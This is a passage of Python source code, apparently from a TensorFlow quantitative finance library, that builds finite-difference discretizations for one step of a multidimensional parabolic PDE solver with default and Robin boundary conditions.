a Tensor with the shape of `value_grid`. For example a 2D problem with `value_grid.shape = (B, ny, nx)`, where `B` is the batch size. The elements `Aij` are non-zero if `i = j` or `i` is a neighbor of `j` in the x-y plane. Depict these non-zero elements on the grid as follows: ``` a_mm a_y- a_mp a_x- a_0 a_x+ a_pm a_y+ a_pp ``` The callable should return ``` ([[(a_y-, a_0y, a_y+), (a_pp, a_pm, a_mp, a_pp)], [None, (a_x-, a_0x, a_x+)]], [b_y, b_x]) ``` where `a_0x + a_0y = a_0` (the splitting is arbitrary). Note that there is no need to repeat the non-diagonal term `(a_pp, a_pm, a_mp, a_pp)` for the second time: it's replaced with `None`. All the elements `a_...` may be different for each point in the grid, so they are `Tensors` of shape `(B, ny, nx)`. `b_y` and `b_x` are also `Tensors` of that shape. 5. A callable that accepts a `Tensor` of shape `inner_value_grid` and appends boundaries according to the boundary conditions, i.e. transforms`u_inner` to `u`. 6. n_dims: A Python integer, the spatial dimension of the PDE. 7. has_default_lower_boundary: A Python list of booleans of length `n_dims`. List indices enumerate the dimensions with `True` values marking default lower boundary condition along corresponding dimensions, and `False` values indicating Robin boundary conditions. 8. has_default_upper_boundary: Similar to has_default_lower_boundary, but for upper boundaries. The callable should return a `Tensor` of the same shape and `dtype` as `values_grid` that represents an approximate solution of the space-discretized PDE. second_order_coeff_fn: Callable returning the second order coefficient `a_{ij}(t, r)` evaluated at given time `t`. The callable accepts the following arguments: `t`: The time at which the coefficient should be evaluated. `locations_grid`: a `Tensor` representing a grid of locations `r` at which the coefficient should be evaluated. Returns an object `A` such that `A[i][j]` is defined and `A[i][j]=a_{ij}(r, t)`, where `0 <= i < n_dims` and `i <= j < n_dims`. For example, the object may be a list of lists or a rank 2 Tensor. Only the elements with `j >= i` will be used, and it is assumed that `a_{ji} = a_{ij}`, so `A[i][j] with `j < i` may return `None`. Each `A[i][j]` should be a Number, a `Tensor` broadcastable to the shape of the grid represented by `locations_grid`, or `None` if corresponding term is absent in the equation. Also, the callable itself may be None, meaning there are no second-order derivatives in the equation. For example, for `n_dims=2`, the callable may return either `[[a_yy, a_xy], [a_xy, a_xx]]` or `[[a_yy, a_xy], [None, a_xx]]`. first_order_coeff_fn: Callable returning the first order coefficients `b_{i}(t, r)` evaluated at given time `t`. The callable accepts the following arguments: `t`: The time at which the coefficient should be evaluated. `locations_grid`: a `Tensor` representing a grid of locations `r` at which the coefficient should be evaluated. Returns a list or an 1D `Tensor`, `i`-th element of which represents `b_{i}(t, r)`. Each element should be a Number, a `Tensor` broadcastable to the shape of of the grid represented by `locations_grid`, or None if corresponding term is absent in the equation. The callable itself may be None, meaning there are no first-order derivatives in the equation. zeroth_order_coeff_fn: Callable returning the zeroth order coefficient `c(t, r)` evaluated at given time `t`. The callable accepts the following arguments: `t`: The time at which the coefficient should be evaluated. `locations_grid`: a `Tensor` representing a grid of locations `r` at which the coefficient should be evaluated. Should return a Number or a `Tensor` broadcastable to the shape of the grid represented by `locations_grid`. May also return None or be None if the shift term is absent in the equation. inner_second_order_coeff_fn: Callable returning the coefficients under the second derivatives (i.e. `A_ij(t, x)` above) at given time `t`. The requirements are the same as for `second_order_coeff_fn`. inner_first_order_coeff_fn: Callable returning the coefficients under the first derivatives (i.e. `B_i(t, x)` above) at given time `t`. The requirements are the same as for `first_order_coeff_fn`. dtype: The dtype to use. name: The name to give to the ops. Default value: None which means `parabolic_equation_step` is used. Returns: A sequence of two `Tensor`s. The first one is a `Tensor` of the same `dtype` and `shape` as `coord_grid` and represents a new coordinate grid after one iteration. The second `Tensor` is of the same shape and `dtype` as`values_grid` and represents an approximate solution of the equation after one iteration. #### References: [1] <NAME>, <NAME>. ADI finite difference schemes for the Heston-Hull-White PDE. https://arxiv.org/abs/1111.4087 """ with tf.compat.v1.name_scope( name, 'multidim_parabolic_equation_step', values=[time, next_time, coord_grid, value_grid]): time = tf.convert_to_tensor(time, dtype=dtype, name='time') next_time = tf.convert_to_tensor(next_time, dtype=dtype, name='next_time') coord_grid = [tf.convert_to_tensor(x, dtype=dtype, name='coord_grid_axis_{}'.format(ind)) for ind, x in enumerate(coord_grid)] value_grid = tf.convert_to_tensor(value_grid, dtype=dtype, name='value_grid') n_dims = len(coord_grid) # Sanitize the coeff callables. second_order_coeff_fn = (second_order_coeff_fn or (lambda *args: [[None] * n_dims] * n_dims)) first_order_coeff_fn = (first_order_coeff_fn or (lambda *args: [None] * n_dims)) zeroth_order_coeff_fn = zeroth_order_coeff_fn or (lambda *args: None) inner_second_order_coeff_fn = ( inner_second_order_coeff_fn or (lambda *args: [[None] * n_dims] * n_dims)) inner_first_order_coeff_fn = ( inner_first_order_coeff_fn or (lambda *args: [None] * n_dims)) batch_rank = len(value_grid.shape.as_list()) - len(coord_grid) # Get information on default boundary conditions # For each dimension we verify if either of the upper of lower boundaries # is `default`. If it is, than there is no need to perform trimming for the # value grid. has_default_lower_boundary = [] has_default_upper_boundary = [] lower_trim_indices = [] upper_trim_indices = [] for d in range(n_dims): num_discretization_pts = tf.shape(value_grid)[batch_rank + d] if boundary_conditions[d][0] is None: # lower_inds are used to build an inner grid on which boundary # conditions are imposed. For the default BC, no need for the value grid # truncation. has_default_lower_boundary.append(True) lower_trim_indices.append(0) else: has_default_lower_boundary.append(False) lower_trim_indices.append(1) if boundary_conditions[d][1] is None: # For the default BC, no need for the the value grid truncation. upper_trim_indices.append(num_discretization_pts - 1) has_default_upper_boundary.append(True) else: upper_trim_indices.append(num_discretization_pts - 2) has_default_upper_boundary.append(False) def equation_params_fn(t): return _construct_discretized_equation_params( coord_grid, value_grid, boundary_conditions, has_default_lower_boundary, has_default_upper_boundary, lower_trim_indices, upper_trim_indices, second_order_coeff_fn, first_order_coeff_fn, zeroth_order_coeff_fn, inner_second_order_coeff_fn, inner_first_order_coeff_fn, batch_rank, t) # Construct the inner grid inner_grid_in = _trim_boundaries( value_grid, batch_rank, lower_trim_indices=lower_trim_indices, upper_trim_indices=upper_trim_indices) # Apply time marching scheme to the inner grid def _append_boundaries_fn(inner_value_grid): # Add boundaries to the inner grid. The result has the same # shape as value_grid value_grid_with_boundaries = _append_boundaries( value_grid, inner_value_grid, coord_grid, boundary_conditions, has_default_lower_boundary, has_default_upper_boundary, lower_trim_indices, upper_trim_indices, batch_rank, time) return value_grid_with_boundaries inner_grid_out = time_marching_scheme( value_grid=inner_grid_in, t1=time, t2=next_time, equation_params_fn=equation_params_fn, append_boundaries_fn=_append_boundaries_fn, has_default_lower_boundary=has_default_lower_boundary, has_default_upper_boundary=has_default_upper_boundary, n_dims=n_dims) # Apply boundary conditions to restore values on the original grid updated_value_grid = _append_boundaries( value_grid, inner_grid_out, coord_grid, boundary_conditions, has_default_lower_boundary, has_default_upper_boundary, lower_trim_indices, upper_trim_indices, batch_rank, next_time) return coord_grid, updated_value_grid def _construct_discretized_equation_params( coord_grid, value_grid, boundary_conditions, has_default_lower_boundary, has_default_upper_boundary, lower_trim_indices, upper_trim_indices, second_order_coeff_fn, first_order_coeff_fn, zeroth_order_coeff_fn, inner_second_order_coeff_fn, inner_first_order_coeff_fn, batch_rank, t): """Constructs parameters of discretized equation.""" second_order_coeffs = second_order_coeff_fn(t, coord_grid) first_order_coeffs = first_order_coeff_fn(t, coord_grid) zeroth_order_coeffs = zeroth_order_coeff_fn(t, coord_grid) inner_second_order_coeffs = inner_second_order_coeff_fn(t, coord_grid) inner_first_order_coeffs = inner_first_order_coeff_fn(t, coord_grid) matrix_params = [] inhomog_terms = [] zeroth_order_coeffs = _prepare_pde_coeff(zeroth_order_coeffs, value_grid) if zeroth_order_coeffs is not None: zeroth_order_coeffs = _trim_boundaries( zeroth_order_coeffs, from_dim=batch_rank, lower_trim_indices=lower_trim_indices, upper_trim_indices=upper_trim_indices) n_dims = len(coord_grid) for dim in range(n_dims): # 1. Construct contributions of dV/dx_dim and d^2V/dx_dim^2. This yields # a tridiagonal matrix. delta = _get_grid_delta(coord_grid, dim) # Non-uniform grids not supported. second_order_coeff = second_order_coeffs[dim][dim] first_order_coeff = first_order_coeffs[dim] inner_second_order_coeff = inner_second_order_coeffs[dim][dim] inner_first_order_coeff = inner_first_order_coeffs[dim] # Broadcast to value_grid.shape second_order_coeff = _prepare_pde_coeff(second_order_coeff, value_grid) first_order_coeff = _prepare_pde_coeff(first_order_coeff, value_grid) inner_second_order_coeff = _prepare_pde_coeff(inner_second_order_coeff, value_grid) inner_first_order_coeff = _prepare_pde_coeff(inner_first_order_coeff, value_grid) superdiag, diag, subdiag = ( _construct_tridiagonal_matrix(value_grid, second_order_coeff, first_order_coeff, inner_second_order_coeff, inner_first_order_coeff, delta, dim, batch_rank, lower_trim_indices, upper_trim_indices, has_default_lower_boundary, has_default_upper_boundary, n_dims)) # 2. Apply the default BC, if needed. This adds extra points to the diagonal # terms coming from discretization of 'b_i * d(B_i * V)/dx'. Note that the # zero term 'c * V' is excluded from discretization and added in step 4 # below. [ subdiag, diag, superdiag ] = _apply_default_boundary(subdiag, diag, superdiag, inner_first_order_coeff, first_order_coeff, delta, has_default_lower_boundary, has_default_upper_boundary, lower_trim_indices, upper_trim_indices, batch_rank, dim) # 3. Account for Robin boundary conditions on boundaries orthogonal to dim. # This modifies the first and last row of the tridiagonal matrix and also # yields a contribution to the inhomogeneous term (superdiag, diag, subdiag), inhomog_term_contribution = ( _apply_robin_boundary_conditions( value_grid, dim, batch_rank, boundary_conditions, has_default_lower_boundary, has_default_upper_boundary, lower_trim_indices, upper_trim_indices, coord_grid, superdiag, diag, subdiag, delta, t)) # 4. Evenly distribute shift term among tridiagonal matrices of each # dimension. The minus sign is because we move the shift term to rhs. if zeroth_order_coeffs is not None: # pylint: disable=invalid-unary-operand-type diag += -zeroth_order_coeffs / n_dims matrix_params_row = [None] * dim + [(superdiag, diag, subdiag)] # 5. Construct contributions of mixed terms, d^2V/(dx_dim dx_dim2). for dim2 in range(dim + 1, n_dims): mixed_coeff = second_order_coeffs[dim][dim2] inner_mixed_coeff = inner_second_order_coeffs[dim][dim2] ( mixed_term_contrib ) = _construct_contribution_of_mixed_term( mixed_coeff, inner_mixed_coeff, coord_grid, value_grid, dim, dim2, batch_rank, lower_trim_indices, upper_trim_indices, has_default_lower_boundary, has_default_upper_boundary, n_dims) matrix_params_row.append(mixed_term_contrib) matrix_params.append(matrix_params_row) inhomog_terms.append(inhomog_term_contribution) return matrix_params, inhomog_terms def _construct_tridiagonal_matrix(value_grid, second_order_coeff, first_order_coeff, inner_second_order_coeff, inner_first_order_coeff, delta, dim, batch_rank, lower_trim_indices, upper_trim_indices, has_default_lower_boundary, has_default_upper_boundary, n_dims): """Constructs contributions of first and non-mixed second order terms.""" # If the boundary condition for dimension `dim` is default, we need to # update trimming for that dimension to remove the boundary, and apply the # default BC separately. # Note that for all other dimensions, the space-discretization tridiagonal # matrix is trimmed according to the trimming indices. ( trimmed_lower_indices, trimmed_upper_indices, _ ) = _remove_default_boundary( lower_trim_indices, upper_trim_indices, has_default_lower_boundary, has_default_upper_boundary, batch_rank, (dim,), n_dims) zeros = tf.zeros_like(value_grid) zeros = _trim_boundaries(zeros, from_dim=batch_rank, lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices) def create_trimming_shifts(dim_shift): # See _trim_boundaries. We need to apply shift only to the dimension `dim`. shifts = [0] * n_dims shifts[dim] = dim_shift return shifts # Discretize first-order term. if first_order_coeff is None and inner_first_order_coeff is None: # No first-order term. superdiag_first_order = zeros diag_first_order = zeros subdiag_first_order = zeros else: superdiag_first_order = -1 / (2 * delta) subdiag_first_order = 1 / (2 * delta) diag_first_order = -superdiag_first_order - subdiag_first_order if first_order_coeff is not None: first_order_coeff = _trim_boundaries( first_order_coeff, from_dim=batch_rank, lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices) superdiag_first_order *= first_order_coeff subdiag_first_order *= first_order_coeff diag_first_order *= first_order_coeff if inner_first_order_coeff is not None: superdiag_first_order *= _trim_boundaries( inner_first_order_coeff, from_dim=batch_rank, lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices, shifts=create_trimming_shifts(1)) subdiag_first_order *= _trim_boundaries( inner_first_order_coeff, from_dim=batch_rank, lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices, shifts=create_trimming_shifts(-1)) diag_first_order *= _trim_boundaries( inner_first_order_coeff, from_dim=batch_rank, lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices) # Discretize second-order term. if second_order_coeff is None and inner_second_order_coeff is None: # No second-order term. superdiag_second_order = zeros diag_second_order = zeros subdiag_second_order = zeros else: superdiag_second_order = -1 / (delta * delta) subdiag_second_order = -1 / (delta * delta) diag_second_order = -superdiag_second_order - subdiag_second_order if second_order_coeff is not None: second_order_coeff = _trim_boundaries( second_order_coeff, from_dim=batch_rank, lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices) superdiag_second_order *= second_order_coeff subdiag_second_order *= second_order_coeff diag_second_order *= second_order_coeff if inner_second_order_coeff is not None: superdiag_second_order *= _trim_boundaries( inner_second_order_coeff, from_dim=batch_rank, lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices, shifts=create_trimming_shifts(1)) subdiag_second_order *= _trim_boundaries( inner_second_order_coeff, from_dim=batch_rank, lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices, shifts=create_trimming_shifts(-1)) diag_second_order *= _trim_boundaries( inner_second_order_coeff, from_dim=batch_rank, lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices) superdiag = superdiag_first_order + superdiag_second_order subdiag = subdiag_first_order + subdiag_second_order diag = diag_first_order + diag_second_order return superdiag, diag, subdiag def _construct_contribution_of_mixed_term(outer_coeff, inner_coeff, coord_grid, value_grid, dim1, dim2, batch_rank, lower_trim_indices, upper_trim_indices, has_default_lower_boundary, has_default_upper_boundary, n_dims): """Constructs contribution of a mixed derivative term.""" if outer_coeff is None and inner_coeff is None: return None delta_dim1 = _get_grid_delta(coord_grid, dim1) delta_dim2 = _get_grid_delta(coord_grid, dim2) outer_coeff = _prepare_pde_coeff(outer_coeff, value_grid) inner_coeff = _prepare_pde_coeff(inner_coeff, value_grid) # The contribution of d2V/dx_dim1 dx_dim2 is # mixed_coeff / (4 * delta_dim1 * delta_dim2), but there is also # d2V/dx_dim2 dx_dim1, so the contribution is doubled. # Also, the minus is because of moving to the rhs. contrib = -1 / (2 * delta_dim1 * delta_dim2) # If the boundary condition along dimension `dim1` or `dim2` is default, we # need to update trimmings for that direction to remove the boundary and later # pad mixed term contributions with zeros (as we assume that the mixed terms # are zero on the boundary). ( trimmed_lower_indices, trimmed_upper_indices, paddings ) = _remove_default_boundary( lower_trim_indices, upper_trim_indices, has_default_lower_boundary, has_default_upper_boundary, batch_rank, (dim1, dim2), n_dims) # Function to add zeros to the default boundary as mixed term on the default # boundary is assumed to be zero append_zeros_fn = lambda x: tf.pad(x, paddings) if outer_coeff is not None: outer_coeff = _trim_boundaries(outer_coeff, batch_rank, lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices) contrib *= outer_coeff if inner_coeff is None: contrib = append_zeros_fn(contrib) return contrib, -contrib, -contrib, contrib def create_trimming_shifts(dim1_shift, dim2_shift): # See _trim_boundaries. We need to apply shifts to dimensions dim1 and # dim2. shifts = [0] * n_dims shifts[dim1] = dim1_shift shifts[dim2] = dim2_shift return shifts # When there are inner coefficients in mixed terms, the contributions of four # diagonally placed points are significantly different. Below we use indices # "p" and "m" to denote shifts by +1 and -1 in grid indices on the # (dim1, dim2) plane. E.g. if the current point has grid indices (k, l), # contrib_pm is the contribution of the point (k + 1, l - 1). contrib_pp = contrib * _trim_boundaries( inner_coeff, from_dim=batch_rank, shifts=create_trimming_shifts(1, 1), lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices) contrib_pm = -contrib * _trim_boundaries( inner_coeff, from_dim=batch_rank, shifts=create_trimming_shifts(1, -1), lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices) contrib_mp = -contrib * _trim_boundaries( inner_coeff, from_dim=batch_rank, shifts=create_trimming_shifts(-1, 1), lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices) contrib_mm = contrib * _trim_boundaries( inner_coeff, from_dim=batch_rank, shifts=create_trimming_shifts(-1, -1), lower_trim_indices=trimmed_lower_indices, upper_trim_indices=trimmed_upper_indices) ( contrib_pp, contrib_pm, contrib_mp, contrib_mm ) = map(append_zeros_fn, (contrib_pp, contrib_pm, contrib_mp, contrib_mm)) return contrib_pp, contrib_pm, contrib_mp, contrib_mm def _apply_default_boundary(subdiag, diag, superdiag, inner_first_order_coeff, first_order_coeff, delta, has_default_lower_boundary, has_default_upper_boundary, lower_trim_indices, upper_trim_indices, batch_rank, dim): """Update discretization matrix for default boundary conditions.""" # For default BC, we need to add spatial discretizations of # 'b * d(B * V)/dx' to the boundaries. Note that the zero-order term 'c * V' # is added elsewhere, and the second-order terms involving derivative w.r.t. # `dim` are assumed to be zero. # Updates for lower BC if has_default_lower_boundary[dim]: ( subdiag, diag, superdiag ) = _apply_default_lower_boundary(subdiag, diag, superdiag, inner_first_order_coeff, first_order_coeff, delta, lower_trim_indices, upper_trim_indices, batch_rank, dim) # Updates for upper BC if has_default_upper_boundary[dim]: ( subdiag, diag, superdiag ) = _apply_default_upper_boundary(subdiag, diag, superdiag, inner_first_order_coeff, first_order_coeff, delta, lower_trim_indices, upper_trim_indices, batch_rank, dim) return subdiag, diag, superdiag def _apply_default_lower_boundary(subdiag, diag, superdiag, inner_first_order_coeff, first_order_coeff, delta, lower_trim_indices, upper_trim_indices, batch_rank, dim): """Update discretization matrix for default lower boundary conditions.""" # TODO(b/185337444): Use second order discretization for the boundary points # Here we append '-b(t, x_min) * (B(t, x_min) * V(t, x_min)) / delta' to # diagonal and # 'b(t, x_min) * (B(t, x_min + delta) * V(t, x_min + delta)) / delta' to # superdiagonal zeros = tf.zeros_like(diag) ones = tf.ones_like(diag) # Update superdiag if inner_first_order_coeff is None: # Set to ones, if inner coefficient is not supplied inner_coeff = ones else: inner_coeff = _trim_boundaries( inner_first_order_coeff, from_dim=batch_rank, lower_trim_indices=lower_trim_indices, upper_trim_indices=upper_trim_indices) if first_order_coeff is None: if inner_first_order_coeff is None: # Corresponds to zero value of B(t, x_min) extra_first_order_coeff = _slice(zeros, batch_rank + dim, 0, 1) else: extra_first_order_coeff = _slice(ones, batch_rank + dim, 0, 1) else: first_order_coeff = _trim_boundaries(first_order_coeff, from_dim=batch_rank, lower_trim_indices=lower_trim_indices, upper_trim_indices=upper_trim_indices) extra_first_order_coeff = _slice(first_order_coeff, batch_rank + dim, 0, 1) inner_coeff_next = _slice(inner_coeff, batch_rank + dim, 1, 2) extra_superdiag_coeff = inner_coeff_next * extra_first_order_coeff / delta # Minus is due to moving to rhs. superdiag = _append_first(-extra_superdiag_coeff, superdiag, axis=batch_rank + dim) # Update diagonal inner_coeff_boundary = _slice(inner_coeff, batch_rank + dim, 0, 1) extra_diag_coeff = -inner_coeff_boundary * extra_first_order_coeff / delta # Minus is due to moving to rhs. diag = _append_first(-extra_diag_coeff, diag, axis=batch_rank + dim) # Update subdiagonal subdiag = _append_first(tf.zeros_like(extra_diag_coeff), subdiag, axis=batch_rank + dim) return subdiag, diag, superdiag def _apply_default_upper_boundary(subdiag, diag, superdiag, inner_first_order_coeff, first_order_coeff, delta, lower_trim_indices, upper_trim_indices, batch_rank, dim): """Update discretization matrix for default upper boundary conditions.""" # TODO(b/185337444): Use second order discretization for the boundary points # Here we append '-b(t, x_max) * (B(t, x_max) * V(t, x_max)) / delta' to # diagonal and # 'b(t, x_max) * (B(t, x_max - delta) * V(t, x_max - delta)) / delta' to # subdiagonal zeros = tf.zeros_like(diag) ones = tf.ones_like(diag) # Update diagonal if inner_first_order_coeff is None: inner_coeff = ones else: inner_coeff = _trim_boundaries( inner_first_order_coeff, from_dim=batch_rank, lower_trim_indices=lower_trim_indices, upper_trim_indices=upper_trim_indices) if first_order_coeff is None: if inner_first_order_coeff is None: # Corresponds to zero value of B(t, x_max) extra_first_order_coeff = _slice(zeros, batch_rank + dim, 0, 1) else: extra_first_order_coeff = _slice(ones, batch_rank + dim, 0, 1) else: first_order_coeff = _trim_boundaries(first_order_coeff, from_dim=batch_rank, lower_trim_indices=lower_trim_indices, upper_trim_indices=upper_trim_indices) extra_first_order_coeff = _slice(first_order_coeff, batch_rank + dim, -1, 0) inner_coeff_next = _slice(inner_coeff, batch_rank + dim, -1, 0) extra_diag_coeff = (inner_coeff_next * extra_first_order_coeff / delta) # Minus is due to moving to rhs. diag = _append_last(diag, -extra_diag_coeff, axis=batch_rank + dim) # Update subdiagonal inner_coeff_boundary = _slice(inner_coeff, batch_rank + dim, -2, -1) extra_sub_coeff = (-inner_coeff_boundary * extra_first_order_coeff / delta) # Minus is due to moving to rhs. subdiag = _append_last(subdiag, -extra_sub_coeff, axis=batch_rank + dim) # Update superdiag superdiag = _append_last(superdiag, tf.zeros_like(extra_diag_coeff), axis=batch_rank + dim) return subdiag, diag, superdiag def _apply_robin_boundary_conditions( value_grid, dim, batch_rank, boundary_conditions, has_default_lower_boundary, has_default_upper_boundary, lower_trim_indices, upper_trim_indices, coord_grid, superdiag, diag, subdiag, delta, t): """Updates contributions according to boundary conditions.""" # This is analogous to _apply_boundary_conditions_to_discretized_equation in # pde_kernels.py. The difference is that we work with the given spatial # dimension. In particular, in all the tensor slices we have to slice # into the dimension `batch_rank + dim` instead of the last dimension. # We do not perform the updates where the boundary condition is default # If both boundareis are default, there is no need to update the # space-discretization matrix if has_default_lower_boundary[dim] and has_default_upper_boundary[dim]: return (superdiag, diag, subdiag), tf.zeros_like(diag) # Remove current dimension to the boundary conditions lower_trim_indices_bc = (lower_trim_indices[:dim] + lower_trim_indices[dim + 1:]) upper_trim_indices_bc = (upper_trim_indices[:dim] + upper_trim_indices[dim + 1:]) def reshape_fn(bound_coeff): """Reshapes boundary coefficient.""" # Say the grid shape is (b, nz, ny, nx), and dim = 1. # The boundary condition coefficients are expected to have shape # (b, nz, nx). We need to: # - Trim the boundaries: nz -> nz-2, nx -> nx-2, because we work with # the inner part of the grid here. # - Expand dimension batch_rank+dim=2, because broadcasting won't always # do this correctly in subsequent computations: if a has shape (5, 1) and # b has shape (5,) then a*b has shape (5, 5)! # Thus this function turns (b, nz, nx) into (b, nz-2, 1, nx-2). return _reshape_boundary_conds( bound_coeff, trim_from=batch_rank, expand_dim_at=batch_rank + dim, lower_trim_indices=lower_trim_indices_bc, upper_trim_indices=upper_trim_indices_bc) # Retrieve the boundary conditions in the form alpha V + beta V' = gamma. if has_default_lower_boundary[dim]: # No need for the BC as default BC was applied alpha_l, beta_l, gamma_l = None, None, None else: alpha_l, beta_l, gamma_l = boundary_conditions[dim][0](t, coord_grid) if has_default_upper_boundary[dim]: # No need for the BC as default BC was applied alpha_u, beta_u, gamma_u = None, None, None else: alpha_u, beta_u, gamma_u = boundary_conditions[dim][1](t, coord_grid) alpha_l, beta_l, gamma_l, alpha_u, beta_u, gamma_u = ( _prepare_boundary_conditions(b, value_grid, batch_rank, dim) for b in (alpha_l, beta_l, gamma_l, alpha_u, beta_u, gamma_u)) alpha_l, beta_l, gamma_l, alpha_u, beta_u, gamma_u = map( reshape_fn, (alpha_l, beta_l, gamma_l, alpha_u, beta_u, gamma_u)) slice_dim = dim + batch_rank subdiag_first = _slice(subdiag, slice_dim, 0, 1) superdiag_last = _slice(superdiag, slice_dim, -1, 0) diag_inner = _slice(diag, slice_dim, 1, -1) if beta_l is None and beta_u is None: # Dirichlet or default conditions on both boundaries. In this case there are # no corrections to the tridiagonal matrix, so we can take a shortcut. if has_default_lower_boundary[dim]: # Inhomgeneous term is zero for default BC first_inhomog_element = tf.zeros_like(subdiag_first) else: first_inhomog_element = subdiag_first * gamma_l / alpha_l if has_default_upper_boundary[dim]: # Inhomgeneous term is zero for default BC last_inhomog_element = tf.zeros_like(superdiag_last) else: last_inhomog_element = superdiag_last * gamma_u / alpha_u inhomog_term = _append_first_and_last(first_inhomog_element, tf.zeros_like(diag_inner), last_inhomog_element, axis=slice_dim) return (superdiag, diag, subdiag), inhomog_term # A few more slices we're going to need. subdiag_last = _slice(subdiag, slice_dim, -1, 0) subdiag_except_last = _slice(subdiag, slice_dim, 0, -1) superdiag_first = _slice(superdiag, slice_dim, 0, 1) superdiag_except_first = _slice(superdiag, slice_dim, 1, 0) diag_first = _slice(diag, slice_dim, 0, 1) diag_last = _slice(diag, slice_dim, -1, 0) # Convert the boundary conditions into the form v0 = xi1 v1 + xi2 v2 + eta, # and calculate corrections to the tridiagonal matrix and the inhomogeneous # term. if has_default_lower_boundary[dim]: # No update for the default BC diag_first_correction = 0 superdiag_correction = 0 first_inhomog_element = tf.zeros_like(subdiag_first) else: xi1, xi2, eta = _discretize_boundary_conditions(delta, delta, alpha_l, beta_l, gamma_l) diag_first_correction = subdiag_first * xi1 superdiag_correction = subdiag_first * xi2 first_inhomog_element = subdiag_first * eta if has_default_upper_boundary[dim]: # Inhomgeneous term is zero for default BC diag_last_correction = 0 subdiag_correction = 0 last_inhomog_element = tf.zeros_like(superdiag_last) else: xi1, xi2, eta = _discretize_boundary_conditions(delta, delta, alpha_u, beta_u, gamma_u) diag_last_correction = superdiag_last * xi1 subdiag_correction = superdiag_last * xi2 last_inhomog_element = superdiag_last * eta diag = _append_first_and_last( diag_first + diag_first_correction, diag_inner, diag_last + diag_last_correction, axis=slice_dim) superdiag = _append_first(superdiag_first + superdiag_correction, superdiag_except_first, axis=slice_dim) subdiag = _append_last(subdiag_except_last, subdiag_last + subdiag_correction, axis=slice_dim) inhomog_term = _append_first_and_last(first_inhomog_element, tf.zeros_like(diag_inner), last_inhomog_element, axis=slice_dim) return (superdiag, diag, subdiag), inhomog_term def _append_boundaries(value_grid_in, inner_grid_out, coord_grid, boundary_conditions, has_default_lower_boundary, has_default_upper_boundary, lower_trim_indices, upper_trim_indices, batch_rank, t): """Calculates and appends boundary values after making a step.""" # After we've updated the values in the inner part of the grid according to # the PDE, we append the boundary values calculated using the boundary # conditions. # This is done using the discretized form of the boundary conditions, # v0 = xi1 v1 + xi2 v2 + eta. # This is analogous to _append_boundaries in pde_kernels.py, except we have to # restore the boundaries in each dimension. For example, for n_dims=2, # inner_grid_out has dimensions (b, ny-2, nx-2), which then becomes # (b, ny, nx-2) and finally (b, ny, nx). grid = inner_grid_out for dim in range(len(coord_grid)): grid = _append_boundary( dim, batch_rank, boundary_conditions, has_default_lower_boundary, has_default_upper_boundary, lower_trim_indices, upper_trim_indices, coord_grid, value_grid_in, grid, t) return grid def _append_boundary(dim, batch_rank, boundary_conditions, has_default_lower_boundary, has_default_upper_boundary, lower_trim_indices, upper_trim_indices, coord_grid, value_grid_in, current_value_grid_out, t): """Calculates and appends boundaries orthogonal to `dim`.""" # E.g. for n_dims = 3, and dim = 1, the expected input grid shape is # (b, nx, ny-2, nz-2), and the output shape is (b, nx, ny, nz-2). # No update is done for the default boundary condition. def _reshape_fn(bound_coeff): # Say the grid shape is (b, nz, ny-2, nx-2), and dim = 1: we have already # restored the z-boundaries and now are restoring the y-boundaries. # The boundary condition coefficients are expected to have the shape # (b, nz, nx). We need to: # - Trim the boundaries which we haven't yet restored: nx -> nx-2. # - Expand dimension batch_rank+dim=2, because broadcasting won't always # do this correctly in subsequent computations. return _reshape_boundary_conds( bound_coeff, trim_from=batch_rank + dim, expand_dim_at=batch_rank + dim, # Skip all the trim indices which have already been updated lower_trim_indices=lower_trim_indices[dim + 1:], upper_trim_indices=upper_trim_indices[dim + 1:]) delta = _get_grid_delta(coord_grid, dim) if has_default_lower_boundary[dim]: # No update for the default BC first_value = None else: # Robin BC lower_value_first = _slice(current_value_grid_out, batch_rank + dim, 0, 1) lower_value_second = _slice(current_value_grid_out, batch_rank + dim, 1, 2) alpha_l, beta_l, gamma_l = boundary_conditions[dim][0](t, coord_grid) alpha_l, beta_l, gamma_l = ( _prepare_boundary_conditions(b, value_grid_in, batch_rank, dim) for b in (alpha_l, beta_l, gamma_l)) alpha_l, beta_l, gamma_l = map( _reshape_fn, (alpha_l, beta_l, gamma_l)) xi1, xi2, eta = _discretize_boundary_conditions(delta, delta, alpha_l, beta_l, gamma_l) first_value = (xi1 * lower_value_first + xi2 * lower_value_second + eta) if has_default_upper_boundary[dim]: # No update for the default BC last_value = None else: # Robin BC upper_value_first = _slice(current_value_grid_out, batch_rank + dim, -1, 0) upper_value_second = _slice(current_value_grid_out, batch_rank + dim, -2, -1) alpha_u, beta_u, gamma_u = boundary_conditions[dim][1](t, coord_grid) alpha_u, beta_u, gamma_u = ( _prepare_boundary_conditions(b, value_grid_in, batch_rank, dim) for b in (alpha_u, beta_u, gamma_u)) alpha_u, beta_u, gamma_u = map( _reshape_fn, (alpha_u, beta_u, gamma_u)) xi1, xi2, eta = _discretize_boundary_conditions(delta, delta, alpha_u, beta_u, gamma_u) last_value = (xi1 * upper_value_first + xi2 * upper_value_second + eta) return _append_first_and_last(first_value, current_value_grid_out, last_value, axis=batch_rank + dim) def _append_first_and_last(first, inner, last, axis): if first is None: return _append_last(inner, last, axis=axis) if last is None: return _append_first(first, inner, axis=axis) return tf.concat((first, inner, last), axis=axis) def _append_first(first, rest, axis): if first is None: return rest return tf.concat((first, rest), axis=axis) def _append_last(rest, last, axis): if last is None: return rest return tf.concat((rest, last), axis=axis) def _get_grid_delta(coord_grid, dim): # Retrieves delta along given dimension, assuming the grid is uniform. return coord_grid[dim][1] - coord_grid[dim][0] def _prepare_pde_coeff(raw_coeff, 